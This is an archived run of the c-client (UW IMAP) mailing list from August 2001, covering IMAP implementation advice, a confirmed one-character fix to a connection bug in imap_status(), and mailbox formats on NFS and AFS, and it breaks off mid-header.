List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Herr Doktor C. Lesser" Cc: c-client Interest List Subject: Re: IMAP Problem In-Reply-To: <006801c129aa$e123e650$1600a8c0@2k.nt4.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 21 Aug 2001 05:04:03 +1000, Herr Doktor C. Lesser wrote: > Personally, I found the problem was the documentation was so overwhelming, > that it was far easier to look at an existing implementation (by sniffing > packets, etc) and build on that while reducing the status of the RFC to a > mere reference to be used while transalting the sniffer logs. I sympathize. However, that method is the perfect way to write a bad IMAP implementation. Not to mention a bad RFC [2]822, MIME, SMTP, and NNTP implementation. It also inflicts the resulting misunderstandings upon the community at large, and this combined with other efforts that did the same thing create a terrible burden. Rather than do that, I recommend "Internet Email Protocols: A Developer's Guide", by Kevin Johnson, published by Addison Wesley, ISBN 0-201-43288-9. It is an excellent pedagogical text for email protocols, and will show you how to do things right. By the way, I'm not getting any money for this endorsement, although I was a reviewer. I recommend it simply because it is a book that has been needed for a very long time, and it would greatly simplify my life (as in having fewer questions to answer and fewer problems to resolve) if more people read it. If someone ever comes out with a better book, I'll recommend it instead. > And I'm guessing that the people who wrote the software I was sniffing took > similar shortcuts. Unfortunately, you are probably correct. That one of the reasons why we have so very many interoperability problems. From pinedev@shivax2.cac.washington.edu Mon Aug 20 16:44:36 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Aug 2001 16:44:35 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7KNiXn19968 for ; Mon, 20 Aug 2001 16:44:34 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Aug 20 16:44:32 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7KNiVE25452; Mon, 20 Aug 2001 16:44:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7KNiJp22846; Mon, 20 Aug 2001 16:44:19 -0700 Received: from mxu104.u.washington.edu (mxu104.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7KNgA010920 for ; Mon, 20 Aug 2001 16:42:11 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by mxu104.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7KNgAq15573 for ; Mon, 20 Aug 2001 16:42:10 -0700 Received: FROM mx1.cac.washington.edu BY mxu4.u.washington.edu ; Mon Aug 20 16:42:09 2001 -0700 Received: from gull.mail.pas.earthlink.net (gull.mail.pas.earthlink.net [207.217.121.85]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7KNg9N26519 for ; Mon, 20 Aug 2001 16:42:09 -0700 Received: from localhost (user-2ivemka.dialup.mindspring.com [165.247.90.138]) by gull.mail.pas.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id QAA09559 for ; Mon, 20 Aug 2001 16:42:06 -0700 (PDT) Message-Id: <200108202342.QAA09559@gull.mail.pas.earthlink.net> Date: Mon, 20 Aug 2001 19:42:04 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jeff Zacharias To: c-client@CAC.Washington.EDU Subject: Re: IMAP Problem In-Reply-To: Content-Type: text/plain; format=flowed; charset=us-ascii Mime-Version: 1.0 (Apple Message framework v388) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Monday, August 20, 2001, at 02:42 PM, Mark Crispin wrote: >> Incidentally, I have contact addresses for some people in the OS X IMAP >> client team. If we can gather evidence (e.g., a protocol trace) that >> they're doing LIST "" * when they should be doing LIST "" % and LIST "" >> %/%, I'd be glad to explain to them what they need to fix and why. > > That would be a good idea. Thanks. > > If it is the program that I think it is, I offered to talk to those > guys many > years ago and was rebuffed. Maybe you'll have more success. FYI, I just found out today that in next version of Mac OS X (10.1) due in September, Apple Mail has the ability to set the user mail directory. Jeff From pinedev@shivax2.cac.washington.edu Tue Aug 21 03:16:46 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Aug 2001 03:16:46 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7LAGin14980 for ; Tue, 21 Aug 2001 03:16:45 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue Aug 21 03:16:43 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7LAGfE05842; Tue, 21 Aug 2001 03:16:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7LAGTH47140; Tue, 21 Aug 2001 03:16:29 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7LAED026110 for ; Tue, 21 Aug 2001 03:14:13 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by mxu102.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7LAECT10291 for ; Tue, 21 Aug 2001 03:14:13 -0700 Received: FROM flu-smtp-01.datacomm.ch BY mxu2.u.washington.edu ; Tue Aug 21 03:14:11 2001 -0700 Received: from tpo2.sourcepole (adsl-42-246-basel1.tiscalinet.ch [212.254.42.246]) by flu-smtp-01.datacomm.ch (8.11.3/8.11.3) with ESMTP id f7LAE5c15681 for ; Tue, 21 Aug 2001 12:14:06 +0200 Received: from tpo2 (helo=localhost) by tpo2.sourcepole with local-esmtp (Exim 3.31 #1 (Debian)) id 15Z8Xh-0000nz-00 for ; Tue, 21 Aug 2001 12:13:53 +0200 Message-Id: Date: Tue, 21 Aug 2001 12:13:53 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "T.Pospisek's MailLists" To: Subject: Re: IMAP In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: "T.Pospisek's MailLists" X-X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 19 Aug 2001, Mark Crispin wrote: > On Sun, 19 Aug 2001 13:41:40 +0200 (CEST), Tomas Pospisek wrote: > > What I want to say is, that it would be *really* useful to be able to > > reconfigure uw at runtime and not requiring to recompile the thing *only* > > because the mail's located in a different place. This even more as there > > isn't such a thing as a default place for storing mail. > > Nobody has figured out a satisfactory means to "reconfigure UW at runtime", > otherwise it would have been done 10 years ago. > > There is no default place for storing mail, but UW imapd needs to have a > default. What's more, where mail is stored is often different from user to > user. There is simply no good way to configure this per-user. Remember that > most IMAP users have no shell access (or knowledge), so it does not good to > say "write a .xyzzyrc file". > > If you edit UW imapd to use a different default (e.g. a subdirectory), then > you're changing it for *all* users of the system. What's more, that new > global default applies even if the user doesn't have that subdirectory. Yes and IMO that default location should be configurable. Why? Because most people nowadays install prepacked binary packages. And that means that if you drop in that package it will "just not fit" the default mail location of your users. So it'd be really nice (!) if one could just change that location by reconfiguring uw. (uw-imapd stop; reconfigure; uw-imapd-start). The alternative is either recompiling it every time one needs to update or change that location or to configure/bend all the other tools to comply to uw-imapd's (or the packager's) idea of where email should be. If there wouldn't be any reason to configure stuff, there wouldn't be the need for a compile-option either. So there clearly is a need to keep this configurable... Please consider it. It would make uw-imapd a lot easier to reconfigure, handle, try out, use for replacement of other mailserver software, etc... My 0.0125$ *t ---------------------------------------------------------------------------- Tomas Pospisek SourcePole - Linux & Open Source Solutions http://sourcepole.ch Elestastrasse 18, 7310 Bad Ragaz, Switzerland Tel: +41 (81) 330 77 11 ---------------------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Sat Aug 25 19:22:15 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 25 Aug 2001 19:22:10 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7Q2M9n15532 for ; Sat, 25 Aug 2001 19:22:09 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Sat Aug 25 19:22:08 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7Q2M1E16589; Sat, 25 Aug 2001 19:22:01 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7Q2Lnp25332; Sat, 25 Aug 2001 19:21:49 -0700 Received: from mxu101.u.washington.edu (mxu101.u.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7Q2Iu0121514 for ; Sat, 25 Aug 2001 19:18:57 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by mxu101.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7Q2Iuu31603 for ; Sat, 25 Aug 2001 19:18:56 -0700 Received: FROM mail.braincells.com BY mxu1.u.washington.edu ; Sat Aug 25 19:18:56 2001 -0700 Received: from jyoti.braincells.com (cc52061-a.jrsycty1.nj.home.com [24.11.66.33]) by mail.braincells.com (Postfix) with ESMTP id 1DDFD7F5F for ; Sat, 25 Aug 2001 22:18:52 -0400 (EDT) Message-Id: Date: Sat, 25 Aug 2001 22:18:49 -0400 (EDT) Reply-To: "Jaldhar H. Vyas" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jaldhar H. Vyas" To: Subject: Bug in c-client's imap_status() call? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I received the following bug report from a Debian user. Mark, what do you think? ---------- Forwarded message ---------- Ahoy. I stumbled upon a rather annoying bug in the c-client library the other day. It seems checking the status of an IMAP mailbox with imap_status() will lead to a new connection regardless of whether or not you supply it a valid one to use. This inevitably results in inetd spawning dozens of imapd processes and eventually shutting it down entirely. Euck. The offending code (in src/c-client/imap4r1.c lines 488-490): if (stream && (!(LEVELSTATUS (stream) || stream->halfopen) || mail_usable_network_stream (stream,mbx))) return imap_status (NIL,mbx,flags); Of which one byte needs to be changed: if (stream && (!(LEVELSTATUS (stream) || stream->halfopen) || !mail_usable_network_stream (stream,mbx))) return imap_status (NIL,mbx,flags); (Notice the exclamation mark.) -- Jaldhar H. Vyas -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Aug 25 22:34:01 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 25 Aug 2001 22:33:57 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7Q5Xun25707 for ; Sat, 25 Aug 2001 22:33:56 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Sat Aug 25 22:33:55 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7Q5XlN23848; Sat, 25 Aug 2001 22:33:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7Q5X4E20688; Sat, 25 Aug 2001 22:33:04 -0700 Received: from mxu103.u.washington.edu (mxu103.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7Q5W0084692 for ; Sat, 25 Aug 2001 22:32:00 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by mxu103.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7Q5Vxn03909 for ; Sat, 25 Aug 2001 22:31:59 -0700 Received: FROM Tomobiki-Cho.CAC.Washington.EDU BY mxu3.u.washington.edu ; Sat Aug 25 22:31:59 2001 -0700 Message-Id: Date: Sat, 25 Aug 2001 22:30:00 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Jaldhar H. Vyas" Cc: c-client@u.washington.edu Subject: re: Bug in c-client's imap_status() call? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thank you for reporting this problem. The analysis and suggested fix are correct. This fix will be in the final distribution of imap-2001 and of Pine 4.40. From pinedev@shivax2.cac.washington.edu Sun Aug 26 06:13:18 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 26 Aug 2001 06:13:15 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7QDDDn20165 for ; Sun, 26 Aug 2001 06:13:14 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Sun Aug 26 06:13:10 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7QDD8N32312; Sun, 26 Aug 2001 06:13:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7QDCwX23264; Sun, 26 Aug 2001 06:12:58 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7QDBq012866 for ; Sun, 26 Aug 2001 06:11:52 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by mxu102.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7QDBpT16711 for ; Sun, 26 Aug 2001 06:11:52 -0700 Received: FROM mx1.cac.washington.edu BY mxu2.u.washington.edu ; Sun Aug 26 06:11:51 2001 -0700 Received: from alta.gre.ac.uk (alta.gre.ac.uk [193.60.48.95]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7QDBoN32300 for ; Sun, 26 Aug 2001 06:11:51 -0700 Received: from chomsky.cms.gre.ac.uk ([193.60.76.135]) by alta.gre.ac.uk with esmtp (Exim 3.01 #1) id 15azhX-0000v5-00 for c-client@cac.washington.edu; Sun, 26 Aug 2001 14:11:43 +0100 Received: (from ds19@localhost) by chomsky.cms.gre.ac.uk (8.9.3/8.9.3) id OAA23567 for c-client@cac.washington.edu; Sun, 26 Aug 2001 14:11:42 +0100 (BST) Message-Id: <20010826141142.A23523@gre.ac.uk> Date: Sun, 26 Aug 2001 14:11:42 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: S.S.Dio@gre.ac.uk To: c-client@CAC.Washington.EDU Subject: AFS (instead of NFS) and mbox Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I'm running into problems with many of my users - whose mail boxes are getting very large in size (100's of megabytes). I employ NFS to deal with home area - which is where mail lives and as such I'm using trad. unix mail format for the mail boxes as everything I've read indicates that mbx format will 'kill' NFS. I'm not really in a position to move away from the mail deliveries to home areas so was wondering if using a file systems such as AFS instead of NFS would ewnable me to use mbx reliably? Does anyone have any experience in this? I'm not sure at what point (file size) the unix format becomes inefficient - is there a recommended max size and I could then try and get users to try and stick to these limits - I know they wont :-( Anybody have any other suggestions on scaling this type of setup - considering that I'm not in position to move to one large mail spool somewhere - certainly not for a long time and without plenty of planning. Thanks Surinder PS. I'm currently on uw-imap 2000-c - and will shortly be upgrading to the latest 2001 snapshot - maybe this might help somewhat? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Aug 26 09:35:12 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 26 Aug 2001 09:35:12 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7QGZ9n09422 for ; Sun, 26 Aug 2001 09:35:09 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Sun Aug 26 09:35:08 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7QGZ5E31529; Sun, 26 Aug 2001 09:35:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7QGYpH25336; Sun, 26 Aug 2001 09:34:51 -0700 Received: from mxu101.u.washington.edu (mxu101.u.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7QGXa028544 for ; Sun, 26 Aug 2001 09:33:36 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by mxu101.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7QGXau31304 for ; Sun, 26 Aug 2001 09:33:36 -0700 Received: FROM mx1.cac.washington.edu BY mxu1.u.washington.edu ; Sun Aug 26 09:33:35 2001 -0700 Received: from mailstore1.netcologne.de (IDENT:mirapoint@smtp.netcologne.de [194.8.194.121]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7QGXYN03269 for ; Sun, 26 Aug 2001 09:33:35 -0700 Received: from [0.0.0.0] (dial-194-8-205-229.netcologne.de [194.8.205.229]) by mailstore1.netcologne.de (Mirapoint) with ESMTP id AAS90544; Sun, 26 Aug 2001 18:33:26 +0200 (CEST) Message-Id: <1774073.998850681@localhost> Date: Sun, 26 Aug 2001 18:31:21 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: S.S.Dio@gre.ac.uk Cc: c-client@CAC.Washington.EDU Subject: Re: AFS (instead of NFS) and mbox In-Reply-To: <20010826141142.A23523@gre.ac.uk> References: <20010826141142.A23523@gre.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spook: nuclear nuke spy secret assassination cia fbi nsa president X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -- S.S.Dio@gre.ac.uk is rumored to have mumbled on Sonntag, 26. August 2001 = 14:11 Uhr +0100 regarding AFS (instead of NFS) and mbox: > I'm not really in a position to move away from the mail deliveries to > home areas so was wondering if using a file systems such as AFS instead > of NFS would ewnable me to use mbx reliably? Unfortunately not, AFAIK. I'm in the same position as you and don't know=20 what to do about it either. Actually we do deliver to a large spool, but=20 the spool file has to be in Unix format anyway if you want to stick with=20 mail or mail.local for local delivery. For mbx you generally need a file=20 named INBOX in the home directory that's in mbx format. But all the home=20 directories are either NFS or AFS.... Cheers, Sebastian -- Sebastian Hagedorn Ehrenfeldg=FCrtel 156, 50823 K=F6ln, Germany http://www.spinfo.uni-koeln.de/~hgd/ This mail was sent using Mac OS X From pinedev@shivax2.cac.washington.edu Tue Aug 28 00:58:30 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Aug 2001 00:58:30 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7S7wTn28850 for ; Tue, 28 Aug 2001 00:58:29 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue Aug 28 00:58:28 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7S7wQN26156; Tue, 28 Aug 2001 00:58:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7S7utH09640; Tue, 28 Aug 2001 00:56:55 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7S7rC0115838 for ; Tue, 28 Aug 2001 00:53:12 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by mxu102.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7S7rCT30468 for ; Tue, 28 Aug 2001 00:53:12 -0700 Received: FROM mx1.cac.washington.edu BY mxu2.u.washington.edu ; Tue Aug 28 00:53:11 2001 -0700 Received: from dag.newtech.fi (IDENT:qmailr@dag.newtech.fi [195.163.186.138]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7S7r9N26077 for ; Tue, 28 Aug 2001 00:53:10 -0700 Received: (qmail 28934 invoked by uid 200); 28 Aug 2001 07:51:59 -0000 Message-Id: <20010828075159.28933.qmail@dag.newtech.fi> Date: Tue, 28 Aug 2001 10:51:59 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dag Nygren To: c-client@CAC.Washington.EDU Cc: dag@newtech.fi Subject: Using this xxxx thing with MH Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi again from a frustrated user.... I asked about how to make INBOX be the the MH inbox earlier but got no answer, so I thought I would look aroud a bit myself. (Been doing C-programming for 20 years now so it should be no problem, but....) I have never seen so difficult code to read. (OK, RMS code might be worse), so I would appreciate some help. 1. How do I turn on some kind of debugging on the IMAP-daemon ? I would like to log the exact mailbox request that is made from the different mail-clients. 2. Anyone got this working with MH mailboxes ? 3. Is there a good alternative to MH with hierarchical mailboxes ? 4. What abou a configuration file somewhere for IMAPD ? BRGDS -- = Dag Nygren email: dag@newtech.fi Oy Espoon NewTech Ab phone: +358 9 8024910 Tr=E4sktorpet 3 fax: +358 9 8024916 02360 ESBO Mobile: +358 400 426312 FINLAND -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 28 01:54:36 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Aug 2001 01:54:35 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7S8sYn29827 for ; Tue, 28 Aug 2001 01:54:34 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue Aug 28 01:54:33 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7S8sVN27395; Tue, 28 Aug 2001 01:54:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7S8sME26612; Tue, 28 Aug 2001 01:54:22 -0700 Received: from mxu103.u.washington.edu (mxu103.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7S8oW035616 for ; Tue, 28 Aug 2001 01:50:32 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by mxu103.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7S8oWn00643 for ; Tue, 28 Aug 2001 01:50:32 -0700 Received: FROM mx1.cac.washington.edu BY mxu3.u.washington.edu ; Tue Aug 28 01:50:31 2001 -0700 Received: from orange.csi.cam.ac.uk (exim@orange.csi.cam.ac.uk [131.111.8.77]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7S8oUN27312 for ; Tue, 28 Aug 2001 01:50:30 -0700 Received: from dpc22 (helo=localhost) by orange.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1) id 15beZp-0006Qc-00; Tue, 28 Aug 2001 09:50:29 +0100 Message-Id: Date: Tue, 28 Aug 2001 09:50:29 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Carter To: Cc: Subject: Re: AFS (instead of NFS) and mbox In-Reply-To: <20010826141142.A23523@gre.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: David Carter X-X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 26 Aug 2001 S.S.Dio@gre.ac.uk wrote: > I'm running into problems with many of my users - whose mail boxes are > getting very large in size (100's of megabytes). I'm amazed that mailboxes this size work at all over NFS. Are you using Gigabit ethernet as a backbone? > I employ NFS to deal with home area - which is where mail lives and as > such I'm using trad. unix mail format for the mail boxes as everything > I've read indicates that mbx format will 'kill' NFS. Yep. I suspect that AFS would have a hard time as well. MBX uses file locking really hard, and this is the thing that tends to be most fragile on distributed filesystems. ".lock" files are much more reliable on NFS. > Anybody have any other suggestions on scaling this type of setup - > considering that I'm not in position to move to one large mail spool > somewhere - certainly not for a long time and without plenty of > planning. An brief aside, before MRC comes down on me like a ton of bricks: I inherited a mail infrastructure based on NFS, and came to the conclusion quite rapidly that this is not the correct way to do things. Modern NFS appliances may be able to cope with the heavy workload, but its still a desperately inefficient way to ship data compared to an IMAP proxy or better still telling users to connect directly to the relevant server. Aside other: We introduced index files on unix format mail folders about 18 months back, a local hack. Pine and the POP and IMAP daemons load a short index file (typically a few Kbytes in size) rather than the entire mailfolder. A separate file provides an ENVELOPE cache for folder listing display and clients which like to thread messages. There's a 3 x write penalty for certain update operations, but the same is true for the Cyrus server. This seems to have made a huge difference for large mailfolders. I wouldn't recommend this as a long term solution: we plan to move to a cluster of systems without NFS (and probably using MBX) as the next generation of our mail infrastructure. However if you are in bind, I would be willing to donate my code as a stop-gap measure. -- David Carter Email: David.Carter@ucs.cam.ac.uk University Computing Service, Phone: (01223) 334502 New Museums Site, Pembroke Street, Fax: (01223) 334679 Cambridge UK. CB2 3QG. From pinedev@shivax2.cac.washington.edu Tue Aug 28 03:51:12 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Aug 2001 03:51:12 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7SApBn18506 for ; Tue, 28 Aug 2001 03:51:11 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue Aug 28 03:51:10 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7SAp8N29768; Tue, 28 Aug 2001 03:51:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7SAosH17814; Tue, 28 Aug 2001 03:50:54 -0700 Received: from mxu104.u.washington.edu (mxu104.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id 